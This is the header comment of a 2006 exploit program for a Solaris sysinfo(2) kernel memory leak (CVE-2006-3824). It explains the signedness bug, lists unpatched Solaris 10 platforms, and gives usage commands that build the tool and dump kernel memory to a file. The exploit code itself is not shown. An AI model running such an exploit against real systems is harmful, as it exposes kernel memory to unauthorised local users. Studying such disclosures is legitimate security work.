 * raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * systeminfo.c for Sun Solaris allows local users to read kernel memory via 
 * a 0 variable count argument to the sysinfo system call, which causes a -1 
 * argument to be used by the copyout function. NOTE: this issue has been 
 * referred to as an integer overflow, but it is probably more like a 
 * signedness error or integer underflow (CVE-2006-3824).
 *
 * http://en.wikipedia.org/wiki/Pitagora_Suicchi
 *
 * Greets to prdelka, who also exploited this vulnerability.
 *
 * I should also definitely investigate the old sysinfo(2) vulnerability 
 * described in CVE-2003-1062, affecting Solaris/SPARC 2.6 through 9 and 
 * Solaris/x86 2.6 through 8... It may come in handy sooner or later;)
 *
 * Usage:
 * $ gcc raptor_sysinfo.c -o raptor_sysinfo -Wall
 * $ ./raptor_sysinfo kerndump 666666
 * [...]
 * $ ls -l kerndump 
 * -rwx------   1 raptor   other     666666 Aug 22 14:41 kerndump
 *
 * Vulnerable platforms (SPARC):
 * Solaris 10 without patch 118833-09 [tested]
 *
 * Vulnerable platforms (x86):
 * Solaris 10 without patch 118855-06 [untested]
